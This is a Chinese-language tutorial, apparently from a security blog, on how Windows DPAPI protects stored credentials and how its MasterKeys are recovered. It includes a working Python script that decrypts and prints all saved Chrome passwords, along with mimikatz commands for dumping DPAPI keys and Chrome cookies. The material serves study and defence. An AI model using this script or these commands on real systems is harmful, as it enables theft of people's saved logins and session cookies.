DPAPI是Windows系统级对数据进行加解密的一种接口,作为Windows系统的一个数据保护接口被广泛使用,主要用于保护加密的数据,它是CryptoAPI基础的封装。其分别提供加密函数CryptProtectData 与解密函数CryptUnprotectData用于信息的加解密,加解密为对称加密,想要解密这些数据,必须要获得DPAPI对应的MasterKey。

DPAPI其作用范围主要包括:

  1. IEchrome表单自动登录(点击保存密码)
  2. 远程桌面身份勾选保存的凭据
  3. 调用了CryptProtectData函数加密数据的第三方应用,如SKYPE
  4. Credential Manager凭据管理器中的数据
  5. 共享资源文件夹的访问密码
  6. outlook本地保存的密码

MasterKey 并不会存在在磁盘上,而是通过用户的密码HASH加密生成

两种Master Key 的生成方式

1、利用用户的NTLM hash来加密,NTLM hash存在SAM当中,因此只要获取到hash就能生成key来解密数据。
2、利用用户密码生成,SHA‑1(UTF16LE(user_password)),那么用户获取hash后,还需要还原成密码,才能解密。

获取MasterKey的方式

1、注入lsass进程,从内存读取masterkey,也可以dump内存再读取(mimikatz)
2、注册表(HKLM\SYSTEM、HKLM\SECURITY)
3、解密MasterKeyFile,这是个二进制文件,可使用用户登录密码对其解密,获得Master Key
存在于固定位置%APPDATA%\Microsoft\Protect\%SID%,如

  1. C:\Users\ice\AppData\Roaming\Microsoft\Protect\S-1-5-21-3453529135-4164765056-1075703908-1001

可以看到存在两个master Key File,由于该文件为隐藏属性,且打开隐藏的项目也无法直接查看,只能使用mimikatz对其进行解析
image.png
image.png
可以使用mimikatz对该目录下的文件进行解析

  1. privilege::debug
  2. sekurlsa::dpapi 成功解析出SIDGUID命名的masterkey file,以及masterKey

image.png

关于解密chrome浏览器

我们就可以使用CryptUnprotectData函数对数据进行解密,网上的chrome解密工具基本原理也是一样的,都是依托于masterKey的获取再使用CryptUnprotectData函数调用固定路径下的chrome来解密

  1. 获取Chrome保存的登录信息:
  2. Login Data
  3. "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data"

关于chrome的版本问题,chrome在80后对本地保存的密码进行了加密方式的改变,
V-80依托于masterKey解密(没有以v10或 v11为前缀的加密值,DPAPI加密)
解密脚本

  1. #在线获取当前用户google浏览器下保存的密码
  2. import os, sys
  3. import shutil
  4. import sqlite3
  5. import win32crypt
  6. db_file_path = os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Login Data')
  7. print(db_file_path)
  8. # tmp_file = os.path.join(os.path.dirname(sys.executable), 'tmp_tmp_tmp')
  9. tmp_file = './loginData'
  10. print(tmp_file)
  11. if os.path.exists(tmp_file):
  12. os.remove(tmp_file)
  13. shutil.copyfile(db_file_path, tmp_file)
  14. conn = sqlite3.connect(tmp_file)
  15. for row in conn.execute('select signon_realm,username_value,password_value from logins'):
  16. try:
  17. ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0)
  18. print('url:%-50s username:%-20s password:%s' % (row[0], row[1], ret[1].decode('gbk')))
  19. except Exception as e:
  20. print('url:%-50s get Chrome password Filed...' % row[0])
  21. pass
  22. conn.close()
  23. os.remove(tmp_file)

同样也可以直接使用Mimikatz进行解密

  1. mimikatz dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Cookies" unprotect

V-80后增加了AESGCM模式进行了二次加密(以v10或v11为前缀的加密值)

Firefox

像firefox浏览器就不是使用mastkey 来进行加解密
Version大于等于32.0,保存记录的文件为logins.json Version大于等于3.5,
小于32.0,保存记录的文件为signons.sqlite

  1. 获取firefox保存的登录信息:
  2. xxxx.default
  3. C:\Users\ice\AppData\Roaming\Mozilla\Firefox\Profiles\klhoasmc.default


https://www.secpulse.com/archives/124777.html
https://mp.weixin.qq.com/s/AiE68hOvyIHY-scI_MkFiA
https://rcoil.me/2019/07/%E3%80%90%E7%9F%A5%E8%AF%86%E5%9B%9E%E9%A1%BE%E3%80%91DPAPI%20%E8%AF%A6%E8%A7%A3/
https://mp.weixin.qq.com/s/YxBdDkha8Dt-NdKGyXbrog
https://mp.weixin.qq.com/s/iXQmFY3RzNykAKDM0igERg
https://cloud.tencent.com/developer/article/1824048
https://github.com/muxq/DPAPI/blob/master/README.md